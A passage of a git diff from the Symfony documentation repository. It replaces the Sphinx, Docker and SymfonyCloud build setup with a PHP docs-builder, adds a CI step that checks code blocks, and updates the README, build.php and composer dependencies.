+                path: ${{ steps.composercache.outputs.dir }}
+                key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
+                restore-keys: ${{ runner.os }}-composer-codeBlocks-
+
+          - name: Install dependencies
+            if: ${{ steps.find-files.outputs.files }}
+            run: composer create-project symfony-tools/code-block-checker _checker
+
+          - name: Install test application
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
+              cd _sf_app
+              composer update
+
+          - name: Generate baseline
+            if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
+            run: |
+              CURRENT=$(git rev-parse HEAD)
+              git checkout -m ${{ github.base_ref }}
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
+              git checkout -m $CURRENT
+              cat baseline.json
+
+          - name: Verify examples
+            if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
+            run: |
+              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
diff --git a/.gitignore b/.gitignore
index 1d25940e5c8..b69047f69a1 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,7 +1,2 @@
-/_build/doctrees
-/_build/spelling
-/_build/html
-/_build/logs.txt
 /_build/vendor
 /_build/output
-*.pyc
diff --git a/.symfony.cloud.yaml b/.symfony.cloud.yaml
deleted file mode 100644
index bcb1a48bf08..00000000000
--- a/.symfony.cloud.yaml
+++ /dev/null
@@ -1,48 +0,0 @@
-# This file describes an application. You can have multiple applications
-# in the same project.
-
-# The name of this app. Must be unique within a project.
-name: symfonydocs
-
-# The toolstack used to build the application.
-type: "php:7.2"
-
-# The configuration of app when it is exposed to the web.
-web:
-    # The public directory of the app, relative to its root.
-    document_root: "/_build/output"
-    index_files:
-      - index.html
-    whitelist:
-      - \.html$
-      - \.txt$
-
-      # CSS and Javascript.
-      - \.css$
-      - \.js$
-      - \.hbs$
-
-      # image/* types.
-      - \.gif$
-      - \.png$
-      - \.ico$
-      - \.svgz?$
-
-      # fonts types.
-      - \.ttf$
-      - \.eot$
-      - \.woff$
-      - \.otf$
-
-      # robots.txt.
-      - /robots\.txt$
-
-# The size of the persistent disk of the application (in MB).
-disk: 512
-
-# The hooks that will be performed when the package is deployed.
-hooks:
-    build: |
-      cd _build
-      composer install --prefer-dist --no-progress
-      php build.php
diff --git a/.symfony/routes.yaml b/.symfony/routes.yaml
deleted file mode 100644
index caf4875f732..00000000000
--- a/.symfony/routes.yaml
+++ /dev/null
@@ -1,11 +0,0 @@
-https://{default}/:
-  cache:
-    cookies:
-      - '*'
-    default_ttl: 0
-    enabled: true
-    headers:
-      - Accept
-      - Accept-Language
-  type: upstream
-  upstream: symfonydocs:http
diff --git a/.symfony/services.yaml b/.symfony/services.yaml
deleted file mode 100644
index ec9369f2b00..00000000000
--- a/.symfony/services.yaml
+++ /dev/null
@@ -1 +0,0 @@
-# Keeping this file empty to not deploy unused services.
diff --git a/Dockerfile b/Dockerfile
deleted file mode 100644
index c1e63debe91..00000000000
--- a/Dockerfile
+++ /dev/null
@@ -1,16 +0,0 @@
-FROM  python:2-stretch as builder
-
-WORKDIR /www
-
-COPY ./_build/.requirements.txt _build/
-
-RUN pip install  pip==9.0.1 wheel==0.29.0 \
-    && pip install -r _build/.requirements.txt
-
-COPY . /www
-
-RUN make -C _build html
-
-FROM  nginx:latest
-
-COPY --from=builder /www/_build/html /usr/share/nginx/html
diff --git a/README.markdown b/README.markdown
index 1d94f6f1ff0..2139c1599ac 100644
--- a/README.markdown
+++ b/README.markdown
@@ -1,39 +1,45 @@
-Symfony Documentation
-=====================
-
-This documentation is rendered online at https://symfony.com/doc/current/
+<p align="center"><a href="https://symfony.com" target="_blank">
+  <img src="https://symfony.com/logos/symfony_black_02.svg">
+</a></p>
+
+<h3 align="center">
+  The official Symfony Documentation
+</h3>
+
+<p align="center">
+  <a href="https://symfony.com/doc/current/index.html">
+    Online version
+  </a>
+  <span> | </span>
+  <a href="https://symfonycasts.com">
+    Screencasts
+  </a>
+</p>
 
 Contributing
 ------------
 
-We love contributors! For more information on how you can contribute to the
-Symfony documentation, please read
-[Contributing to the Documentation](https://symfony.com/doc/current/contributing/documentation/overview.html)
+We love contributors! For more information on how you can contribute, please read
+the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html)
 
-> **Note**
-> Unless you're documenting a feature that was introduced *after* Symfony 3.4
-> (e.g. in Symfony 4.4), all pull requests must be based off of the **3.4** branch,
-> **not** the master or older branches.
+**Important**: use `4.4` branch as the base of your pull requests, unless you are
+documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.2).
 
-SymfonyCloud
-------------
+Build Documentation Locally
+---------------------------
 
-Thanks to [SymfonyCloud](https://symfony.com/cloud) for providing an integration
-server where Pull Requests are built and can be reviewed by contributors.
+This is not needed for contributing, but it's useful if you want to debug some
+issue in the docs or if you want to read Symfony Documentation offline.
 
-Docker
-------
+```bash
+$ git clone git@github.com:symfony/symfony-docs.git
 
-You can build the doc locally with these commands:
+$ cd symfony-docs/
+$ cd _build/
 
-```bash
-# build the image...
-$ docker build . -t symfony-docs
+$ composer install
 
-# ...and start the local web server
-# (if it's already in use, change the '8080' port by any other port)
-$ docker run --rm -p 8080:80 symfony-docs
+$ php build.php
 ```
 
-You can now read the docs at http://127.0.0.1:8080 (if you use a virtual
-machine, browse its IP instead of localhost; e.g. `http://192.168.99.100:8080`).
+Now you can browse the docs at `_build/output/index.html`
diff --git a/_build/.requirements.txt b/_build/.requirements.txt
deleted file mode 100644
index 26a019bfa6b..00000000000
--- a/_build/.requirements.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-docutils==0.13.1
-Pygments==2.2.0
-sphinx==1.8.5
-git+https://github.com/fabpot/sphinx-php.git@v2.0.2#egg_name=sphinx-php
-jsx-lexer===0.0.8
-sphinx_rtd_theme==0.5.0
diff --git a/_build/Makefile b/_build/Makefile
deleted file mode 100644
index 25b660056fe..00000000000
--- a/_build/Makefile
+++ /dev/null
@@ -1,153 +0,0 @@
-# Makefile for Sphinx documentation
-#
-
-# You can set these variables from the command line.
-SPHINXOPTS    =
-SPHINXBUILD   = sphinx-build
-PAPER         =
-BUILDDIR      = .
-
-# Internal variables.
-PAPEROPT_a4     = -D latex_paper_size=a4
-PAPEROPT_letter = -D latex_paper_size=letter
-ALLSPHINXOPTS   = -c $(BUILDDIR) -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) ../
-# the i18n builder cannot share the environment and doctrees with the others
-I18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) .
-
-.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext
-
-help:
-	@echo "Please use \`make <target>' where <target> is one of"
-	@echo "  html       to make standalone HTML files"
-	@echo "  dirhtml    to make HTML files named index.html in directories"
-	@echo "  singlehtml to make a single large HTML file"
-	@echo "  pickle     to make pickle files"
-	@echo "  json       to make JSON files"
-	@echo "  htmlhelp   to make HTML files and a HTML help project"
-	@echo "  qthelp     to make HTML files and a qthelp project"
-	@echo "  devhelp    to make HTML files and a Devhelp project"
-	@echo "  epub       to make an epub"
-	@echo "  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
-	@echo "  latexpdf   to make LaTeX files and run them through pdflatex"
-	@echo "  text       to make text files"
-	@echo "  man        to make manual pages"
-	@echo "  texinfo    to make Texinfo files"
-	@echo "  info       to make Texinfo files and run them through makeinfo"
-	@echo "  gettext    to make PO message catalogs"
-	@echo "  changes    to make an overview of all changed/added/deprecated items"
-	@echo "  linkcheck  to check all external links for integrity"
-	@echo "  doctest    to run all doctests embedded in the documentation (if enabled)"
-
-clean:
-	-rm -rf $(BUILDDIR)/*
-
-html:
-	$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html
-	@echo
-	@echo "Build finished. The HTML pages are in $(BUILDDIR)/html."
-
-dirhtml:
-	$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml
-	@echo
-	@echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml."
-
-singlehtml:
-	$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml
-	@echo
-	@echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml."
-
-pickle:
-	$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle
-	@echo
-	@echo "Build finished; now you can process the pickle files."
-
-json:
-	$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json
-	@echo
-	@echo "Build finished; now you can process the JSON files."
-
-htmlhelp:
-	$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp
-	@echo
-	@echo "Build finished; now you can run HTML Help Workshop with the" \
-	      ".hhp project file in $(BUILDDIR)/htmlhelp."
-
-qthelp:
-	$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp
-	@echo
-	@echo "Build finished; now you can run "qcollectiongenerator" with the" \
-	      ".qhcp project file in $(BUILDDIR)/qthelp, like this:"
-	@echo "# qcollectiongenerator $(BUILDDIR)/qthelp/Symfony.qhcp"
-	@echo "To view the help file:"
-	@echo "# assistant -collectionFile $(BUILDDIR)/qthelp/Symfony.qhc"
-
-devhelp:
-	$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp
-	@echo
-	@echo "Build finished."
-	@echo "To view the help file:"
-	@echo "# mkdir -p $$HOME/.local/share/devhelp/Symfony"
-	@echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/Symfony"
-	@echo "# devhelp"
-
-epub:
-	$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub
-	@echo
-	@echo "Build finished. The epub file is in $(BUILDDIR)/epub."
-
-latex:
-	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
-	@echo
-	@echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex."
-	@echo "Run \`make' in that directory to run these through (pdf)latex" \
-	      "(use \`make latexpdf' here to do that automatically)."
-
-latexpdf:
-	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
-	@echo "Running LaTeX files through pdflatex..."
-	$(MAKE) -C $(BUILDDIR)/latex all-pdf
-	@echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex."
-
-text:
-	$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text
-	@echo
-	@echo "Build finished. The text files are in $(BUILDDIR)/text."
-
-man:
-	$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man
-	@echo
-	@echo "Build finished. The manual pages are in $(BUILDDIR)/man."
-
-texinfo:
-	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
-	@echo
-	@echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo."
-	@echo "Run \`make' in that directory to run these through makeinfo" \
-	      "(use \`make info' here to do that automatically)."
-
-info:
-	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
-	@echo "Running Texinfo files through makeinfo..."
-	make -C $(BUILDDIR)/texinfo info
-	@echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo."
-
-gettext:
-	$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale
-	@echo
-	@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
-
-changes:
-	$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes
-	@echo
-	@echo "The overview file is in $(BUILDDIR)/changes."
-
-linkcheck:
-	$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck
-	@echo
-	@echo "Link check complete; look for any errors in the above output " \
-	      "or in $(BUILDDIR)/linkcheck/output.txt."
-
-doctest:
-	$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest
-	@echo "Testing of doctests in the sources finished, look at the " \
-	      "results in $(BUILDDIR)/doctest/output.txt."
diff --git a/_build/_exts/symfonycom/__init__.py b/_build/_exts/symfonycom/__init__.py
deleted file mode 100644
index e69de29bb2d..00000000000
diff --git a/_build/_exts/symfonycom/sphinx/__init__.py b/_build/_exts/symfonycom/sphinx/__init__.py
deleted file mode 100644
index 4a61e711809..00000000000
--- a/_build/_exts/symfonycom/sphinx/__init__.py
+++ /dev/null
@@ -1,86 +0,0 @@
-from pygments.style import Style
-from pygments.token import Keyword, Name, Comment, String, Error, \
-     Number, Operator, Generic, Whitespace, Punctuation, Other, Literal
-
-class SensioStyle(Style):
-    background_color = "#000000"
-    default_style = ""
-
-    styles = {
-        # No corresponding class for the following:
-        #Text: "", # class: ''
-        Whitespace: "underline #f8f8f8", # class: 'w'
-        Error: "#a40000 border:#ef2929", # class: 'err'
-        Other: "#ffffff", # class 'x'
-
-    Comment: "italic #B729D9", # class: 'c'
-    Comment.Single: "italic #B729D9", # class: 'c1'
-    Comment.Multiline: "italic #B729D9", # class: 'cm'
-    Comment.Preproc: "noitalic #aaa", # class: 'cp'
-
-    Keyword: "#FF8400", # class: 'k'
-        Keyword.Constant: "#FF8400", # class: 'kc'
-        Keyword.Declaration: "#FF8400", # class: 'kd'
-        Keyword.Namespace: "#FF8400", # class: 'kn'
-        Keyword.Pseudo: "#FF8400", # class: 'kp'
-        Keyword.Reserved: "#FF8400", # class: 'kr'
-        Keyword.Type: "#FF8400", # class: 'kt'
-
-    Operator: "#E0882F", # class: 'o'
-    Operator.Word: "#E0882F", # class: 'ow' - like keywords
-
-    Punctuation: "#999999", # class: 'p'
-
-        # because special names such as Name.Class, Name.Function, etc.
-        # are not recognized as such later in the parsing, we choose them
-        # to look the same as ordinary variables.
-        Name: "#ffffff", # class: 'n'
-    Name.Attribute: "#ffffff", # class: 'na' - to be revised
-    Name.Builtin: "#ffffff", # class: 'nb'
-        Name.Builtin.Pseudo: "#3465a4", # class: 'bp'
-    Name.Class: "#ffffff", # class: 'nc' - to be revised
-        Name.Constant: "#ffffff", # class: 'no' - to be revised
-        Name.Decorator: "#888", # class: 'nd' - to be revised
-        Name.Entity: "#ce5c00", # class: 'ni'
-        Name.Exception: "#cc0000", # class: 'ne'
-    Name.Function: "#ffffff", # class: 'nf'
-        Name.Property: "#ffffff", # class: 'py'
-        Name.Label: "#f57900", # class: 'nl'
-        Name.Namespace: "#ffffff", # class: 'nn' - to be revised
-    Name.Other: "#ffffff", # class: 'nx'
-    Name.Tag: "#cccccc", # class: 'nt' - like a keyword
-    Name.Variable: "#ffffff", # class: 'nv' - to be revised
-        Name.Variable.Class: "#ffffff", # class: 'vc' - to be revised
-        Name.Variable.Global: "#ffffff", # class: 'vg' - to be revised
-        Name.Variable.Instance: "#ffffff", # class: 'vi' - to be revised
-
-    Number: "#1299DA", # class: 'm'
-
-        Literal: "#ffffff", # class: 'l'
-        Literal.Date: "#ffffff", # class: 'ld'
-
-        String: "#56DB3A", # class: 's'
-        String.Backtick: "#56DB3A", # class: 'sb'
-        String.Char: "#56DB3A", # class: 'sc'
-    String.Doc: "italic #B729D9", # class: 'sd' - like a comment
-        String.Double: "#56DB3A", # class: 's2'
-        String.Escape: "#56DB3A", # class: 'se'
-        String.Heredoc: "#56DB3A", # class: 'sh'
-        String.Interpol: "#56DB3A", # class: 'si'
-        String.Other: "#56DB3A", # class: 'sx'
-        String.Regex: "#56DB3A", # class: 'sr'
-    String.Single: "#56DB3A", # class: 's1'
-        String.Symbol: "#56DB3A", # class: 'ss'
-
-        Generic: "#ffffff", # class: 'g'
-        Generic.Deleted: "#a40000", # class: 'gd'
-        Generic.Emph: "italic #ffffff", # class: 'ge'
-        Generic.Error: "#ef2929", # class: 'gr'
-        Generic.Heading: "#000080", # class: 'gh'
-        Generic.Inserted: "#00A000", # class: 'gi'
-        Generic.Output: "#888", # class: 'go'
-        Generic.Prompt: "#745334", # class: 'gp'
-        Generic.Strong: "bold #ffffff", # class: 'gs'
-        Generic.Subheading: "bold #800080", # class: 'gu'
-        Generic.Traceback: "bold #a40000", # class: 'gt'
-    }
diff --git a/_build/_exts/symfonycom/sphinx/lexer.py b/_build/_exts/symfonycom/sphinx/lexer.py
deleted file mode 100644
index f1e87066236..00000000000
--- a/_build/_exts/symfonycom/sphinx/lexer.py
+++ /dev/null
@@ -1,23 +0,0 @@
-from pygments.lexer import RegexLexer, bygroups, using
-from pygments.token import *
-from pygments.lexers.shell import BashLexer, BatchLexer
-
-class TerminalLexer(RegexLexer):
-    name = 'Terminal'
-    aliases = ['terminal']
-    filenames = []
-
-    tokens = {
-        'root': [
-            ('^\$', Generic.Prompt, 'bash-prompt'),
-            ('^>', Generic.Prompt, 'dos-prompt'),
-            ('^#.+$', Comment.Single),
-            ('^.+$', Generic.Output),
-        ],
-        'bash-prompt': [
-            ('(.+)$', bygroups(using(BashLexer)), '#pop')
-        ],
-        'dos-prompt': [
-            ('(.+)$', bygroups(using(BatchLexer)), '#pop')
-        ],
-    }
diff --git a/_build/_static/rtd_custom.css b/_build/_static/rtd_custom.css
deleted file mode 100644
index 01298437755..00000000000
--- a/_build/_static/rtd_custom.css
+++ /dev/null
@@ -1,23 +0,0 @@
-body {
-	font-family:Lucida Grande,Lucida Sans Unicode,Lucida Sans,Geneva,Verdana,sans-serif !important;
-}
-
-h1, h2, h3, h4, h5, h6 {
-	font-family:Georgia,Times New Roman,Times,serif !important;
-	line-height:1.2 !important;
-	margin-top:0 !important;
-	margin-bottom:.5em !important;
-}
-p, .rst-content li{
-	font-size:14px !important;
-	line-height:1.45 !important;
-}
-.wy-menu-vertical a {
-	font-size:14px !important;
-	padding-right:0 !important;
-}
-
-.highlight {
-	background:#1e2125 !important;
-    color:#fafafa !important;
-}
diff --git a/_build/_static/symfony-logo.svg b/_build/_static/symfony-logo.svg
deleted file mode 100644
index 828c2b297b0..00000000000
--- a/_build/_static/symfony-logo.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="260" height="66" viewBox="0 0 260 66"><circle fill="#1A171B" cx="32.455" cy="32.665" r="32.455"/><path fill="#FFF" d="M46.644 12.219c-3.297.115-6.175 1.932-8.317 4.446-2.372 2.756-3.95 6.025-5.087 9.362-2.034-1.667-3.603-3.825-6.866-4.766-2.522-.724-5.171-.425-7.607 1.39-1.154.862-1.949 2.165-2.327 3.39-.979 3.183 1.029 6.016 1.941 7.033l1.994 2.137c.411.419 1.401 1.512.917 3.079-.523 1.704-2.577 2.807-4.684 2.157-.941-.287-2.293-.988-1.99-1.975.125-.404.414-.706.569-1.055.142-.3.21-.525.253-.657.385-1.257-.141-2.892-1.487-3.307-1.256-.385-2.541-.08-3.039 1.537-.565 1.837.314 5.171 5.023 6.623 5.517 1.695 10.184-1.309 10.846-5.227.417-2.454-.691-4.277-2.721-6.622l-1.654-1.829c-1.002-1.001-1.346-2.707-.309-4.018.875-1.106 2.121-1.578 4.162-1.023 2.979.809 4.307 2.876 6.523 4.543-.915 3.001-1.513 6.013-2.054 8.714l-.33 2.014c-1.584 8.308-2.793 12.87-5.935 15.489-.633.45-1.538 1.124-2.902 1.171-.715.022-.946-.47-.956-.684-.017-.502.406-.732.687-.958.42-.229 1.055-.609 1.012-1.826-.046-1.438-1.237-2.685-2.959-2.628-1.29.044-3.256 1.258-3.182 3.48.077 2.295 2.216 4.015 5.441 3.906 1.724-.059 5.574-.761 9.368-5.271 4.416-5.17 5.651-11.097 6.58-15.435l1.037-5.727c.576.069 1.192.115 1.862.131 5.5.116 8.251-2.733 8.292-4.805.027-1.254-.823-2.488-2.013-2.46-.852.024-1.922.591-2.179 1.769-.251 1.156 1.75 2.199.186 3.212-1.111.719-3.103 1.226-5.908.814l.51-2.819c1.041-5.346 2.325-11.922 7.196-12.082.355-.018 1.654.016 1.684.875.009.287-.062.36-.398 1.017-.342.512-.471.948-.455 1.449.047 1.365 1.085 2.262 2.586 2.208 2.01-.065 2.588-2.022 2.555-3.027-.081-2.361-2.57-3.853-5.865-3.745z"/><path fill="#1A171B" d="M196.782 23.534c7.48 0 12.499 5.407 12.499 12.887 0 7.048-5.116 12.886-12.499 12.886-7.435 0-12.55-5.838-12.55-12.886 0-7.48 5.018-12.887 12.55-12.887zm0 22.109c5.306 0 7.671-4.827 7.671-9.222 0-4.68-2.847-9.217-7.671-9.217-4.877 0-7.724 4.537-7.724 9.217.001 4.394 2.365 9.222 7.724 9.222zM183.61 25.825v-1.713h-6.518v-2.341c0-3.33.483-5.842 4.391-5.842.072 0 .149.005.224.008.008 0 .007-.012.016-.012 1.085.08 1.987-.804 2.048-1.887l.08-1.486c-.915-.146-1.884-.29-3.039-.29-6.709 0-8.255 3.91-8.255 9.896v1.955h-5.795v1.913c.149.99.996 1.752 2.031 1.752.006 0 .009.005.016.005h3.748V48.73h2.5l.006-.001c1.04 0 1.892-.779 2.03-1.779V27.783h4.538a2.052 2.052 0 0 0 1.979-1.958zm-60.435-1.713c-.008 0-.013.006-.024.006-.956 0-1.882.657-2.286 1.545l-6.244 18.82h-.096l-6.106-18.81c-.399-.893-1.329-1.555-2.291-1.555-.011 0-.015-.006-.024-.006h-3.164l8.351 22.977c.291.821.871 2.077.871 2.606 0 .483-1.353 6.08-5.409 6.08-.1 0-.201-.009-.3-.017-1.034-.057-1.815.665-1.989 1.779l-.124 1.57c.82.145 1.645.338 3.092.338 5.984 0 7.769-5.455 9.46-10.185l9.073-25.149h-2.79zm-28.843 5c-3.747-1.917-7.847-3.218-7.918-7.076.012-4.097 3.776-5.172 6.677-5.169.012-.002.024-.002.031-.002 1.26 0 2.268.125 3.251.34.013 0 .011-.016.027-.016 1.039.076 1.911-.737 2.034-1.762l.083-1.488c-1.902-.473-3.889-.712-5.619-.712-6.309.039-10.992 3.213-11.007 9.268.009 5.296 3.578 7.349 7.416 9.207 3.764 1.81 7.888 3.305 7.924 7.674-.023 4.56-4.423 6.241-7.455 6.247-1.773-.006-3.698-.449-5.32-.96-1.017-.168-1.851.729-1.982 1.917l-.138 1.327c2.23.72 4.517 1.348 6.815 1.348h.027c7.065-.051 12.557-2.869 12.578-10.185-.011-5.645-3.604-8.016-7.424-9.958zm68.623 19.617l.006-.001c.98 0 1.796-.687 2.004-1.604V32.947c0-5.358-2.267-9.413-8.546-9.413-2.219 0-5.934 1.257-7.623 4.779-1.306-3.331-4.15-4.779-7-4.779-3.619 0-6.082 1.303-7.816 4.152h-.099v-1.532a2.058 2.058 0 0 0-2.055-2.036c-.008 0-.014-.006-.022-.006h-2.169v24.617h2.456l.006-.001a2.06 2.06 0 0 0 2.059-2.059c0-.03.011-.042.016-.063v-10.28c0-4.585 1.834-9.122 6.467-9.122 3.669 0 4.396 3.811 4.396 6.853V48.73h2.49l.007-.001a2.05 2.05 0 0 0 2.037-1.873v-10.53c0-4.585 1.835-9.122 6.468-9.122 3.667 0 4.393 3.811 4.393 6.853V48.73h2.525zm70.113 0l.008-.001a2.054 2.054 0 0 0 2.049-1.964v-12.66c0-6.611-2.85-10.571-9.222-10.571-3.426 0-6.705 1.691-8.059 4.491h-.097v-1.839c0-.001-.004-.001-.004-.006a2.057 2.057 0 0 0-2.058-2.061c-.011 0-.015-.006-.022-.006h-2.311v24.617h2.493l.007-.001a2.05 2.05 0 0 0 2.038-1.895v-9.495c0-5.984 2.319-10.135 7.482-10.135 3.96.24 5.211 3.038 5.211 8.783v12.742h2.485zm24.428-24.617c-.011 0-.014.006-.026.006-.954 0-1.883.657-2.283 1.545l-6.242 18.82h-.102l-6.104-18.81c-.401-.893-1.331-1.555-2.293-1.555-.007 0-.015-.006-.021-.006h-3.164l8.351 22.977c.291.821.873 2.077.873 2.606 0 .483-1.355 6.08-5.41 6.08-.102 0-.201-.009-.301-.017-1.033-.057-1.815.665-1.99 1.779l-.122 1.57c.82.145 1.645.338 3.091.338 5.984 0 7.772-5.455 9.462-10.185l9.074-25.149h-2.793z"/></svg>
\ No newline at end of file
diff --git a/_build/build.php b/_build/build.php
index 9dba64d5145..b17e3e984be 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -5,39 +5,52 @@
 use Symfony\Component\Console\Application;
 use Symfony\Component\Console\Input\InputInterface;
 use Symfony\Component\Console\Output\OutputInterface;
-use Symfony\Component\Process\Process;
-use Symfony\Component\Process\Exception\ProcessFailedException;
 use Symfony\Component\Console\Input\InputOption;
+use Symfony\Component\Console\Style\SymfonyStyle;
+use SymfonyDocsBuilder\BuildConfig;
+use SymfonyDocsBuilder\DocBuilder;
 
 (new Application('Symfony Docs Builder', '1.0'))
     ->register('build-docs')
     ->addOption('generate-fjson-files', null, InputOption::VALUE_NONE, 'Use this option to generate docs both in HTML and JSON formats')
     ->addOption('disable-cache', null, InputOption::VALUE_NONE, 'Use this option to force a full regeneration of all doc contents')
     ->setCode(function(InputInterface $input, OutputInterface $output) {
-        $command = [
-            'php',
-            'vendor/symfony/docs-builder/bin/console',
-            'build:docs',
-            sprintf('--save-errors=%s', __DIR__.'/logs.txt'),
-            __DIR__.'/../',
-            __DIR__.'/output/',
-        ];
-
-        if ($input->getOption('generate-fjson-files')) {
-            $command[] = '--output-json';
+        $io = new SymfonyStyle($input, $output);
+        $io->text('Building all Symfony Docs...');
+
+        $outputDir = __DIR__.'/output';
+        $buildConfig = (new BuildConfig())
+            ->setSymfonyVersion('4.4')
+            ->setContentDir(__DIR__.'/..')
+            ->setOutputDir($outputDir)
+            ->setImagesDir(__DIR__.'/output/_images')
+            ->setImagesPublicPrefix('_images')
+            ->setTheme('rtd')
+        ;
+
+        $buildConfig->setExcludedPaths(['.github/', '_build/']);
+
+        if (!$generateJsonFiles = $input->getOption('generate-fjson-files')) {
+            $buildConfig->disableJsonFileGeneration();
         }
 
-        if ($input->getOption('disable-cache')) {
-            $command[] = '--disable-cache';
+        if ($isCacheDisabled = $input->getOption('disable-cache')) {
+            $buildConfig->disableBuildCache();
         }
 
-        $process = new Process($command);
-        $process->setTimeout(3600);
+        $io->comment(sprintf('cache: %s / output file type(s): %s', $isCacheDisabled ? 'disabled' : 'enabled', $generateJsonFiles ? 'HTML and JSON' : 'HTML'));
+        if (!$isCacheDisabled) {
+            $io->comment('Tip: add the --disable-cache option to this command to force the re-build of all docs.');
+        }
 
-        $this->getHelper('process')->run($output, $process);
+        $result = (new DocBuilder())->build($buildConfig);
 
-        if (!$process->isSuccessful()) {
-            throw new ProcessFailedException($process);
+        if ($result->isSuccessful()) {
+            $io->success(sprintf("The Symfony Docs were successfully built at %s", realpath($outputDir)));
+        } else {
+            $io->error(sprintf("There were some errors while building the docs:\n\n%s\n", $result->getErrorTrace()));
+            $io->newLine();
+            $io->comment('Tip: you can add the -v, -vv or -vvv flags to this command to get debug information.');
         }
     })
     ->getApplication()
diff --git a/_build/composer.json b/_build/composer.json
index ea0ef4eee25..fd7ec177c15 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -1,12 +1,9 @@
 {
     "minimum-stability": "dev",
     "prefer-stable": true,
-    "repositories": [
-        { "type": "git", "url": "https://github.com/weaverryan/docs-builder" }
-    ],
     "config": {
         "platform": {
-            "php": "7.2.9"
+            "php": "7.4.14"
         },
         "preferred-install": {
             "*": "dist"
@@ -14,9 +11,9 @@
         "sort-packages": true
     },
     "require": {
-        "php": ">=7.2.9",
-        "symfony/console": "^4.1",
-        "symfony/docs-builder": "dev-master",
-        "symfony/process": "9999999-dev"
+        "php": ">=7.4",
+        "symfony/console": "^5.4",
+        "symfony/process": "^5.4",
+        "symfony-tools/docs-builder": "^0.18"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index 8a5ab63dcb7..4f77182d8c4 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "e580f6d54e3fe0b71ca6103550882138",
+    "content-hash": "4cd8dc9a70f9ccfb279a426fffbcf2bc",
     "packages": [
         {
             "name": "doctrine/event-manager",
@@ -102,34 +102,39 @@
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "dev-master",
+            "version": "0.4.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef"
+                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/68419cbf92d60177b95e44d79a79cae1098a91ef",
-                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/73992ea579f6bfcb0697e4df29499c48b7542203",
+                "reference": "73992ea579f6bfcb0697e4df29499c48b7542203",
                 "shasum": ""
             },
             "require": {
                 "doctrine/event-manager": "^1.0",
-                "php": "^7.1",
-                "symfony/filesystem": "^4.1|^5.0",
-                "twig/twig": "^2.9.0"
+                "php": "^7.2 || ^8.0",
+                "symfony/filesystem": "^4.1 || ^5.0",
+                "symfony/finder": "^4.1 || ^5.0",
+                "symfony/polyfill-mbstring": "^1.0",
+                "symfony/string": "^5.3",
